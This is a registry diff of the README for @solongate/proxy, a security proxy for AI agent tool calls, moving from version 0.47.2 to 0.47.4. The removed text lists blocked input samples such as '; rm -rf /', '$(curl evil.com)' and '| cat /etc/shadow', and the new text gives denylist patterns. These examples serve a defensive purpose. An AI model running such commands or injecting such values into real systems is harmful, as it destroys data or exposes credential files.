@solongate/proxy 0.47.2 → 0.47.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/README.md +41 -111
  2. package/package.json +1 -1
package/README.md CHANGED
@@ -1,139 +1,69 @@
1
1
  # @solongate/proxy
2
2
 
3
- **AI Tool Security Proxy** Protect any AI tool server with security policies, input validation, rate limiting, and audit logging. Zero code changes required.
3
+ > **Don't `npm i` this.** There's nothing to install. Run the one-liner below to pair your machine:
4
+ > ```bash
5
+ > npx -y @solongate/proxy@latest login
6
+ > ```
7
+
8
+ **Security for AI agents.** SolonGate enforces a security policy on every action an AI agent takes — every tool call is allowed, blocked, or logged before it runs. No code changes.
4
9
 
5
10
  ```
6
- AI Client ──(stdio)──> SolonGate Proxy ──(stdio)──> Tool Server
7
-
8
- [rate limit]
9
- [input guard]
10
- [policy eval]
11
- [audit log]
11
+ AI agent ──(tool call)──> SolonGate guard ──> Tool runs
12
+
13
+ [policy eval] ← OPA-WASM, fail-closed
14
+ [prompt-injection scan]
15
+ [allow / block / audit]
12
16
  ```
13
17
 
14
- **Works with every AI platform:** Claude Code, Claude Desktop, Cursor, Windsurf, Cline, Zed, and any application that uses AI tool calls.
18
+ SolonGate comes in two editions that share the same policy model and dashboard:
19
+
20
+ - **Cloud** — managed, nothing to host. Pair your machine with one command and manage policies + audit logs at [dashboard.solongate.com](https://dashboard.solongate.com).
21
+ - **Local / air-gapped** — run the whole stack on your own hardware with Docker, zero outbound connectivity, no API keys.
15
22
 
16
- ## Quick Start
23
+ ---
17
24
 
18
- ### Automatic Setup
25
+ ## Quick start (Cloud)
19
26
 
20
- Run this in your project directory:
27
+ **You need:** a free [SolonGate account](https://auth.solongate.com), Node.js 18+ on the machine you want to protect, and an AI tool that makes tool calls (Claude Code; Gemini CLI is also supported).
28
+
29
+ Pair the machine and turn on the guard — one command, no API keys to copy:
21
30
 
22
31
  ```bash
23
- npx @solongate/proxy init --all
32
+ npx -y @solongate/proxy@latest login
24
33
  ```
25
34
 
26
- Restart your AI client. Done.
27
-
28
- ### Manual Setup
29
-
30
- Edit your `.mcp.json`:
31
-
32
- ```json
33
- {
34
- "mcpServers": {
35
- "my-server": {
36
- "command": "npx",
37
- "args": [
38
- "@solongate/proxy",
39
- "--policy", "restricted",
40
- "--",
41
- "node", "./my-server/dist/index.js"
42
- ]
43
- }
44
- }
45
- }
46
- ```
35
+ It opens your browser to authorize the device. Approve it from your signed-in dashboard and SolonGate installs a **global guard hook** that intercepts every tool call from every AI session on the machine and evaluates it against your active policy.
47
36
 
48
- ## Policy Presets
49
-
50
- | Preset | Description |
51
- |--------|-------------|
52
- | `restricted` | Blocks shell/exec/eval, allows reads and writes **(recommended)** |
53
- | `read-only` | Only allows read/list/get/search/query operations |
54
- | `permissive` | Allows all tools, still enforces input validation |
55
- | `deny-all` | Blocks all tool calls (emergency lockdown) |
56
-
57
- ## What Gets Blocked
58
-
59
- **Input Guard** (always active):
60
- - Path traversal: `../../etc/passwd`
61
- - Shell injection: `; rm -rf /`, `` `whoami` ``, `$(curl evil.com)`
62
- - Pipe injection: `| cat /etc/shadow`
63
- - Oversized inputs (DoS prevention)
64
-
65
- **Policy Engine** (configurable):
66
- - Shell execution tools (`shell_exec`, `run_command`, etc.)
67
- - Eval/exec tools
68
- - Web fetch (data exfiltration prevention)
69
- - Any tool matching your custom patterns
70
-
71
- ## Custom Policies
72
-
73
- Create a JSON policy file:
74
-
75
- ```json
76
- {
77
- "id": "my-policy",
78
- "name": "My Custom Policy",
79
- "version": 1,
80
- "rules": [
81
- {
82
- "id": "deny-exec",
83
- "effect": "DENY",
84
- "priority": 100,
85
- "toolPattern": "*exec*",
86
- "permission": "EXECUTE",
87
- "minimumTrustLevel": "UNTRUSTED",
88
- "enabled": true
89
- },
90
- {
91
- "id": "allow-rest",
92
- "effect": "ALLOW",
93
- "priority": 1000,
94
- "toolPattern": "*",
95
- "permission": "EXECUTE",
96
- "minimumTrustLevel": "UNTRUSTED",
97
- "enabled": true
98
- }
99
- ]
100
- }
101
- ```
37
+ > Start a **new** terminal session afterwards — hooks load when a session starts, so already-open terminals aren't guarded yet.
102
38
 
103
- ```bash
104
- npx @solongate/proxy --policy ./my-policy.json -- node my-server.js
105
- ```
39
+ ## Write a policy
106
40
 
107
- ## CLI Options
41
+ Open **Policies** in the dashboard and create one. A policy is a set of rules; each rule targets a tool plus a constraint (path / command / filename / URL) and is either ALLOW or DENY. Two modes:
108
42
 
109
- ```
110
- solongate-proxy [options] -- <server-command> [args...]
111
-
112
- Options:
113
- --policy <preset|file> Policy preset or JSON file (default: restricted)
114
- --name <name> Proxy display name
115
- --verbose Show detailed error messages
116
- --no-input-guard Disable input validation
117
- --rate-limit <n> Per-tool rate limit (calls/min)
118
- --global-rate-limit <n> Global rate limit (calls/min)
119
- --config <file> Load full config from JSON file
120
- --api-key <key> SolonGate Cloud API key (cloud policy + audit)
121
- --api-url <url> Custom API URL (default: api.solongate.com)
122
- ```
43
+ - **Denylist** — everything is allowed except what you block (e.g. deny any file named `*.env`, or commands matching `*rm -rf*`).
44
+ - **Whitelist** nothing is allowed except what you permit.
45
+
46
+ Click **Activate** to make a policy the one the guard enforces. Rules compile to an OPA-WASM bundle and take effect on the next tool call.
47
+
48
+ ## Review the audit log
123
49
 
124
- ## Restore Original Config
50
+ Every decision shows up under **Audit** — what was allowed, what was blocked, and which rule matched. When a legitimate action is blocked, open the entry and click **Whitelist this**: SolonGate adds a narrow ALLOW exception for exactly that action and recompiles. Revoke any exception from **Granted exceptions**.
51
+
52
+ ## Uninstall
125
53
 
126
54
  ```bash
127
- npx @solongate/proxy init --restore
55
+ npx @solongate/proxy init --global --restore
128
56
  ```
129
57
 
130
- ## Why SolonGate?
58
+ ---
131
59
 
132
- AI tool servers give AI agents direct access to your system — shell commands, file system, databases, network. A single prompt injection attack can turn your AI assistant into an attacker.
60
+ ## Why SolonGate?
133
61
 
134
- SolonGate sits between the AI client and the tool server, enforcing security policies on every tool call before it reaches the server.
62
+ AI agents get direct access to your system — shell, file system, databases, network. A single prompt-injection attack can turn your assistant into an attacker. SolonGate sits between the agent and the action, enforcing your policy on every tool call before it runs, and recording every decision for audit.
135
63
 
136
- Learn more at [solongate.com](https://solongate.com)
64
+ - **Docs:** [solongate.com/docs](https://solongate.com/docs)
65
+ - **Dashboard:** [dashboard.solongate.com](https://dashboard.solongate.com)
66
+ - **Air-gapped guide:** [solongate.com/docs/local](https://solongate.com/docs/local)
137
67
 
138
68
  ## License
139
69
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@solongate/proxy",
3
- "version": "0.47.2",
3
+ "version": "0.47.4",
4
4
  "description": "AI tool security proxy — protect any AI tool server with customizable policies, path/command constraints, rate limiting, and audit logging. Zero code changes required.",
5
5
  "type": "module",
6
6
  "bin": {